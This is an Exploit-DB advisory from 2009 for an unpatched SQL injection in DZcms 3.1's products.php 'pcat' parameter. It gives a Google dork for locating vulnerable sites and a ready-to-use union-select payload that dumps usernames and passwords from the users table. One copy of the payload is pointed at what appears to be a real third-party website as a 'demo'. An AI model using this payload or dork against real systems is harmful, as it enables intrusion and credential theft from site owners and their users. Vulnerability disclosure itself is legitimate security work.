DZcms 3.1 products.php pcat Remote SQL Injection Vulnerability

2009-01-11T00:00:00
ID EDB-ID:7722
Type exploitdb
Reporter Glafkos Charalambous
Modified 2009-01-11T00:00:00

Description

DZcms v.3.1 (products.php pcat) Remote SQL Injection Vulnerability. Webapps exploit for php platform

                                        
                                            Application: DZcms v.3.1
Vendor Name: CyDezines
Vendor Url: http://www.cydezines.com
Bug Type: dzCMS SQL Injection Vulnerability
Exploitation: Remote
Severity: High
Solution Status: Unpatched
Google Dork: "Powered by DZcms"

POC: http://www.demo.com/products.php?pcat=1'+union+select+all+convert(group_concat(username,0x3a,password)%20using%20latin1),2,3,4,5+from+users/*

Demo:
http://www.psgdynamicsystems.com/products.php?pcat=1'+union+select+all+convert(group_concat(username,0x3a,password)%20using%20latin1),2,3,4,5+from+users/*

Credits: Glafkos Charalambous
glafkos [at] astalavista [dot] com

# milw0rm.com [2009-01-11]